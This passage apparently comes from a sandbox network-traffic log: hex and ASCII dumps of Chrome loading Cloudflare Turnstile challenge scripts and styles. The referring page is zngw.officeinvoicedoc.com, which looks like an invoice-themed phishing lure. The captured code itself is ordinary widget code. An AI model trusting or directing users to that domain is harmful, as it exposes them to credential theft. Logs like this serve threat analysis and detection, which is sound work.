_=e[u](g),p=_.value}catch(f){a(f);return}_.done?r(p):Promise.resolve(p).then(o,c)}function Ot(e){return function(){var r=this,a=arguments;return new Promise(function(o,c){var u=e.apply(r,a);funct
2024-08-28 11:52:37 UTC	1369	IN	Data Raw: 20 65 7d 66 75 6e 63 74 69 6f 6e 20 5f 72 28 65 2c 72 29 7b 76 61 72 20 61 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 72 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 61 2e 70 75 73 68 2e 61 70 70 6c 79 28 61 2c 6f 29 7d 72 65 74 75 72 6e 20 61 7d 66 75 6e 63 74 69 6f 6e 20 24 65 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 72 3d 72 21 3d 6e 75 Data Ascii: e}function _r(e,r){var a=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);r&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),a.push.apply(a,o)}return a}function $e(e,r){return r=r!=nu
2024-08-28 11:52:37 UTC	1369	IN	Data Raw: 72 61 79 24 2f 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 4a 65 28 65 2c 72 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 62 65 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 43 74 28 65 29 7c 7c 4e 74 28 65 2c 72 29 7c 7c 4c 74 28 65 2c 72 29 7c 7c 6b 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 4e 65 28 65 2c 72 29 7b 76 61 72 20 61 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 75 5b 30 Data Ascii: ray$/.test(a))return Je(e,r)}}function be(e,r){return Ct(e)\|\|Nt(e,r)\|\|Lt(e,r)\|\|kt()}function F(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Ne(e,r){var a={label:0,sent:function(){if(u[0
2024-08-28 11:52:37 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 22 54 75 72 6e 73 74 69 6c 65 27 73 20 61 70 69 2e 6a 73 20 77 61 73 20 6c 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 46 74 3d 33 30 30 30 32 30 3b 76 61 72 20 6b 65 3d 33 30 30 30 33 30 3b 76 61 72 20 4c 65 3d 33 30 30 30 33 31 3b 76 61 72 20 42 3b 28 66 75 Data Ascii: tion:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Ft=300020;var ke=300030;var Le=300031;var B;(fu
2024-08-28 11:52:37 UTC	1369	IN	Data Raw: 65 2e 4e 45 56 45 52 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 75 65 7c 7c 28 75 65 3d 7b 7d 29 29 3b 76 61 72 20 58 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 4c 57 41 59 53 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 4e 54 45 52 41 43 54 49 4f 4e 5f 4f 4e 4c 59 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 58 7c 7c 28 58 3d 7b 7d 29 29 3b 76 61 72 20 70 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 52 45 4e 44 45 52 3d 22 72 65 6e 64 65 72 22 2c 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 7d 29 28 70 65 7c 7c 28 70 65 3d 7b 7d 29 29 3b 76 61 72 20 6c 65 3b 28 66 75 6e Data Ascii: e.NEVER="never",e.MANUAL="manual",e.AUTO="auto"})(ue\|\|(ue={}));var X;(function(e){e.ALWAYS="always",e.EXECUTE="execute",e.INTERACTION_ONLY="interaction-only"})(X\|\|(X={}));var pe;(function(e){e.RENDER="render",e.EXECUTE="execute"})(pe\|\|(pe={}));var le;(fun
2024-08-28 11:52:37 UTC	1369	IN	Data Raw: 76 61 72 20 59 3d 22 30 2f 30 22 3b 66 75 6e 63 74 69 6f 6e 20 66 74 28 65 29 7b 76 61 72 20 72 3d 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 3b 69 66 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 26 26 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 21 3d 3d 22 64 65 66 61 75 6c 74 22 26 26 72 2e 73 65 74 28 22 6f 66 66 6c 61 62 65 6c 22 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 29 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 63 6c 65 61 72 61 6e 63 65 5f 6c 65 76 65 6c 21 3d 3d 22 64 Data Ascii: var Y="0/0";function ft(e){var r=new URLSearchParams;if(e.params._debugSitekeyOverrides&&(e.params._debugSitekeyOverrides.offlabel!=="default"&&r.set("offlabel",e.params._debugSitekeyOverrides.offlabel),e.params._debugSitekeyOverrides.clearance_level!=="d
2024-08-28 11:52:37 UTC	1369	IN	Data Raw: 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 2c 63 2c 75 3d 4c 28 78 72 2c 28 63 3d 28 72 3d 65 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 29 3d 3d 3d 6e 75 6c 6c 7c 7c 72 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 20 30 3a 72 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 21 3d 3d 6e 75 6c 6c 26 26 63 21 3d 3d 76 6f 69 64 20 30 3f 63 3a 22 6e 6f 6e 65 78 69 73 74 65 6e 74 22 29 2c 67 2c 5f 3d 4c 28 77 72 2c 28 67 3d 28 61 3d 65 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 29 3d 3d 3d 6e 75 6c 6c 7c 7c 61 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 20 30 3a 61 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 21 3d 3d 6e 75 6c 6c 26 26 67 21 3d 3d 76 6f 69 64 20 30 3f 67 3a 22 6e 6f 6e 65 78 69 73 74 65 6e 74 22 29 3b 72 65 74 75 72 6e 20 6f 26 26 75 3f 22 Data Ascii: HAVING_TROUBLES,c,u=L(xr,(c=(r=e.displayLanguage)===null\|\|r===void 0?void 0:r.toLowerCase())!==null&&c!==void 0?c:"nonexistent"),g,_=L(wr,(g=(a=e.displayLanguage)===null\|\|a===void 0?void 0:a.toLowerCase())!==null&&g!==void 0?g:"nonexistent");return o&&u?"
2024-08-28 11:52:37 UTC	1369	IN	Data Raw: 5f 5f 70 72 6f 74 6f 5f 5f 7c 7c 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 61 29 7d 2c 73 65 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 5a 74 28 65 29 7b 72 65 74 75 72 6e 20 46 75 6e 63 74 69 6f 6e 2e 74 6f 53 74 72 69 6e 67 2e 63 61 6c 6c 28 65 29 2e 69 6e 64 65 78 4f 66 28 22 5b 6e 61 74 69 76 65 20 63 6f 64 65 5d 22 29 21 3d 3d 2d 31 7d 66 75 6e 63 74 69 6f 6e 20 50 65 28 65 29 7b 76 61 72 20 72 3d 74 79 70 65 6f 66 20 4d 61 70 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 3f 6e 65 77 20 4d 61 70 3a 76 6f 69 64 20 30 3b 72 65 74 75 72 6e 20 50 65 3d 66 75 6e 63 74 69 6f 6e 28 6f 29 7b 69 66 28 6f 3d 3d 3d 6e 75 6c 6c 7c 7c 21 5a 74 28 6f 29 29 72 65 74 75 72 6e 20 6f 3b 69 66 28 74 79 70 65 6f 66 20 6f 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 Data Ascii: __proto__\|\|Object.getPrototypeOf(a)},se(e)}function Zt(e){return Function.toString.call(e).indexOf("[native code]")!==-1}function Pe(e){var r=typeof Map=="function"?new Map:void 0;return Pe=function(o){if(o===null\|\|!Zt(o))return o;if(typeof o!="function")
2024-08-28 11:52:37 UTC	1369	IN	Data Raw: 72 69 70 74 45 6c 65 6d 65 6e 74 29 26 26 65 2e 74 65 73 74 28 72 2e 73 72 63 29 29 72 65 74 75 72 6e 20 72 3b 66 6f 72 28 76 61 72 20 61 3d 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 73 63 72 69 70 74 22 29 2c 6f 3d 30 2c 63 3b 63 3d 61 5b 6f 5d 3b 6f 2b 2b 29 69 66 28 50 28 63 2c 48 54 4d 4c 53 63 72 69 70 74 45 6c 65 6d 65 6e 74 29 26 26 65 2e 74 65 73 74 28 63 2e 73 72 63 29 29 72 65 74 75 72 6e 20 63 7d 66 75 6e 63 74 69 6f 6e 20 61 72 28 29 7b 76 61 72 20 65 3d 67 74 28 29 3b 65 7c 7c 76 28 22 43 6f 75 6c 64 20 6e 6f 74 20 66 69 6e 64 20 54 75 72 6e 73 74 69 6c 65 20 73 63 72 69 70 74 20 74 61 67 2c 20 73 6f 6d 65 20 66 65 61 74 75 72 65 73 20 6d 61 79 20 6e 6f 74 20 62 65 20 61 76 61 69 6c 61 62 6c 65 22 2c 34 Data Ascii: riptElement)&&e.test(r.src))return r;for(var a=document.querySelectorAll("script"),o=0,c;c=a[o];o++)if(P(c,HTMLScriptElement)&&e.test(c.src))return c}function ar(){var e=gt();e\|\|v("Could not find Turnstile script tag, some features may not be available",4
2024-08-28 11:52:37 UTC	1369	IN	Data Raw: 28 22 61 6c 6c 6f 77 22 2c 22 63 72 6f 73 73 2d 6f 72 69 67 69 6e 2d 69 73 6f 6c 61 74 65 64 3b 20 66 75 6c 6c 73 63 72 65 65 6e 22 29 2c 66 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 73 61 6e 64 62 6f 78 22 2c 22 61 6c 6c 6f 77 2d 73 61 6d 65 2d 6f 72 69 67 69 6e 20 61 6c 6c 6f 77 2d 73 63 72 69 70 74 73 20 61 6c 6c 6f 77 2d 70 6f 70 75 70 73 20 61 6c 6c 6f 77 2d 66 6f 72 6d 73 22 29 2c 66 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 73 63 72 6f 6c 6c 69 6e 67 22 2c 22 6e 6f 22 29 2c 66 2e 73 74 79 6c 65 2e 62 6f 72 64 65 72 57 69 64 74 68 3d 22 30 70 78 22 2c 66 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 31 30 30 25 22 2c 66 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 22 31 30 30 25 22 2c 66 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 3d 22 68 69 64 64 Data Ascii: ("allow","cross-origin-isolated; fullscreen"),f.setAttribute("sandbox","allow-same-origin allow-scripts allow-popups allow-forms"),f.setAttribute("scrolling","no"),f.style.borderWidth="0px",f.style.width="100%",f.style.height="100%",f.style.overflow="hidd

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.16	49712	104.18.94.41	443	6964	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 11:52:37 UTC	808	OUT	GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/igrjo/0x4AAAAAAAg2etgbClhMM46S/auto/fbE/normal/auto/ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://zngw.officeinvoicedoc.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-28 11:52:37 UTC	1362	IN	HTTP/1.1 200 OK Date: Wed, 28 Aug 2024 11:52:37 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 74772 Connection: close accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA origin-agent-cluster: ?1 cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 content-security-policy: frame-src https://challenges.cloudflare.com/; base-uri 'self' critical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA cross-origin-opener-policy: same-origin referrer-policy: same-origin permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() document-policy: js-profiling cross-origin-resource-policy: cross-origin cross-origin-embedder-policy: require-corp
2024-08-28 11:52:37 UTC	82	IN	Data Raw: 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 62 61 34 31 38 61 31 65 61 61 39 34 32 33 62 2d 45 57 52 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: Server: cloudflareCF-RAY: 8ba418a1eaa9423b-EWRalt-svc: h3=":443"; ma=86400
2024-08-28 11:52:37 UTC	1294	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 0a Data Ascii: <!DOCTYPE HTML><html lang="en-US"><head> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
2024-08-28 11:52:37 UTC	1369	IN	Data Raw: 28 31 2e 35 29 3b 0a 20 20 20 20 6f 70 61 63 69 74 79 3a 20 31 3b 0a 20 20 7d 0a 20 20 31 30 30 25 20 7b 0a 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 28 32 29 3b 0a 20 20 20 20 6f 70 61 63 69 74 79 3a 20 30 3b 0a 20 20 7d 0a 7d 0a 40 6b 65 79 66 72 61 6d 65 73 20 66 69 72 65 77 6f 72 6b 20 7b 0a 20 20 30 25 20 7b 0a 20 20 20 20 6f 70 61 63 69 74 79 3a 20 30 3b 0a 20 20 20 20 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 20 38 3b 20 2f 2a 20 6c 65 6e 67 74 68 20 2a 2f 0a 20 20 7d 0a 20 20 33 30 25 20 7b 0a 20 20 20 20 6f 70 61 63 69 74 79 3a 20 31 3b 0a 20 20 7d 0a 20 20 31 30 30 25 20 7b 0a 20 20 20 20 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 20 2d 38 3b 20 2f 2a 20 6c 65 6e 67 74 68 20 2a 2f 0a 20 20 7d 0a 7d 0a 40 Data Ascii: (1.5); opacity: 1; } 100% { transform: scale(2); opacity: 0; }}@keyframes firework { 0% { opacity: 0; stroke-dashoffset: 8; /* length / } 30% { opacity: 1; } 100% { stroke-dashoffset: -8; / length */ }}@
2024-08-28 11:52:37 UTC	1369	IN	Data Raw: 65 78 3b 0a 20 20 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 20 63 6f 6c 75 6d 6e 3b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 20 31 36 70 78 20 30 20 30 3b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 72 69 67 68 74 3b 0a 7d 0a 0a 23 73 70 69 6e 6e 65 72 2d 69 63 6f 6e 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 3b 0a 20 20 77 69 64 74 68 3a 20 33 30 70 78 3b 0a 20 20 68 65 69 67 68 74 3a 20 33 30 70 78 3b 0a 20 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 35 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 0a 7d 0a 0a 23 66 61 69 6c 2d 69 63 6f 6e 2c 20 23 6f 76 65 72 72 75 6e 2d 69 63 6f 6e 20 7b 0a 20 20 77 69 64 74 68 3a 20 33 30 70 78 3b 0a 20 20 68 65 69 67 68 74 3a 20 33 30 70 78 3b 0a 20 20 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 Data Ascii: ex; flex-direction: column; margin: 0 16px 0 0; text-align: right;}#spinner-icon { display: flex; width: 30px; height: 30px; animation: spin 5s linear infinite;}#fail-icon, #overrun-icon { width: 30px; height: 30px; display: flex
2024-08-28 11:52:37 UTC	1369	IN	Data Raw: 74 65 72 6c 69 6d 69 74 3a 20 31 30 3b 0a 20 20 73 74 72 6f 6b 65 3a 20 23 30 33 38 31 32 37 3b 0a 20 20 66 69 6c 6c 3a 20 23 30 33 38 31 32 37 3b 0a 7d 0a 0a 23 6f 76 65 72 72 75 6e 2d 74 65 78 74 2c 0a 23 74 69 6d 65 6f 75 74 2d 74 65 78 74 2c 0a 23 65 78 70 69 72 65 64 2d 74 65 78 74 20 7b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 69 6e 68 65 72 69 74 3b 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 7d 0a 0a 23 74 69 6d 65 6f 75 74 2d 72 65 66 72 65 73 68 2d 6c 69 6e 6b 2c 0a 23 65 78 70 69 72 65 64 2d 74 65 78 74 2c 0a 23 74 69 6d 65 6f 75 74 2d 74 65 78 74 2c 0a 23 65 78 70 69 72 65 64 2d 72 65 66 72 65 73 68 2d 6c 69 6e 6b 2c 0a 23 6f Data Ascii: terlimit: 10; stroke: #038127; fill: #038127;}#overrun-text,#timeout-text,#expired-text { margin: 0; text-align: inherit; font-size: 14px; font-weight: 400;}#timeout-refresh-link,#expired-text,#timeout-text,#expired-refresh-link,#o
2024-08-28 11:52:37 UTC	1369	IN	Data Raw: 6b 2c 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 76 69 73 69 74 65 64 2c 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 6c 69 6e 6b 20 7b 0a 20 20 63 6f 6c 6f 72 3a 20 23 62 62 62 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 68 6f 76 65 72 2c 20 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 61 63 74 69 76 65 2c 20 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 66 6f 63 75 73 2c 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 Data Ascii: k,.theme-dark #challenge-error-text a:visited,.theme-dark #challenge-error-text a:link { color: #bbb;}.theme-dark #challenge-overlay a:hover, .theme-dark #challenge-overlay a:active, .theme-dark #challenge-overlay a:focus,.theme-dark #challenge-err
2024-08-28 11:52:37 UTC	1369	IN	Data Raw: 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 74 65 72 6d 73 20 61 3a 66 6f 63 75 73 20 7b 0a 20 20 63 6f 6c 6f 72 3a 20 23 39 34 39 34 39 34 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 6f 6e 74 65 6e 74 20 7b 0a 20 20 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 23 37 39 37 39 37 39 3b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 32 33 32 33 32 33 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 71 72 20 7b 0a 20 20 66 69 6c 6c 3a 20 72 67 62 28 32 34 33 2c 20 31 32 38 2c 20 33 32 29 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 6c 6f 67 6f 2d 74 65 78 74 20 7b 0a 20 20 66 69 6c 6c 3a 20 23 66 66 66 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 20 7b 0a 20 20 63 6f Data Ascii: .theme-dark #terms a:focus { color: #949494;}.theme-dark #content { border-color: #797979; background-color: #232323;}.theme-dark #qr { fill: rgb(243, 128, 32);}.theme-dark .logo-text { fill: #fff;}.theme-dark #fr-helper-loop-link { co
2024-08-28 11:52:37 UTC	1369	IN	Data Raw: 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 65 72 72 6f 72 2d 6d 65 73 73 61 67 65 20 7b 0a 20 20 63 6f 6c 6f 72 3a 20 23 66 66 61 32 39 39 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 65 72 72 6f 72 2d 6d 65 73 73 61 67 65 20 61 20 7b 0a 20 20 63 6f 6c 6f 72 3a 20 23 66 66 61 32 39 39 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 65 72 72 6f 72 2d 6d 65 73 73 61 67 65 20 61 3a 6c 69 6e 6b 2c 20 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 65 72 72 6f 72 2d 6d 65 73 73 61 67 65 20 61 3a 76 69 73 69 74 65 64 20 7b 0a 20 20 63 6f 6c 6f 72 3a 20 23 66 66 61 32 39 39 3b 0a 7d 0a 0a 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 7b 0a 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 74 6f 70 3a 20 30 3b 0a 20 20 7a 2d Data Ascii: }.theme-dark .error-message { color: #ffa299;}.theme-dark .error-message a { color: #ffa299;}.theme-dark .error-message a:link, .theme-dark .error-message a:visited { color: #ffa299;}#challenge-overlay { position: absolute; top: 0; z-
2024-08-28 11:52:37 UTC	1369	IN	Data Raw: 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 63 75 72 73 6f 72 3a 20 70 6f 69 6e 74 65 72 3b 0a 20 20 77 69 64 74 68 3a 20 32 34 70 78 3b 0a 20 20 68 65 69 67 68 74 3a 20 32 34 70 78 3b 0a 7d 0a 2e 63 62 2d 6c 62 20 69 6e 70 75 74 3a 61 63 74 69 76 65 20 7e 20 2e 63 62 2d 69 20 7b 0a 20 20 62 6f 72 64 65 72 3a 20 32 70 78 20 73 6f 6c 69 64 20 23 63 34 34 64 30 65 3b 0a 7d 0a 2e 63 62 2d 6c 62 20 69 6e 70 75 74 3a 63 68 65 63 6b 65 64 20 7e 20 2e 63 62 2d 69 20 7b 0a 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 72 6f 74 61 74 65 28 30 64 65 67 29 20 73 63 61 6c 65 28 31 29 3b 0a 20 20 6f 70 61 63 69 74 79 3a 20 31 3b 0a 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 70 78 3b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 77 68 69 74 65 3b Data Ascii: margin: 0; cursor: pointer; width: 24px; height: 24px;}.cb-lb input:active ~ .cb-i { border: 2px solid #c44d0e;}.cb-lb input:checked ~ .cb-i { transform: rotate(0deg) scale(1); opacity: 1; border-radius: 5px; background-color: white;
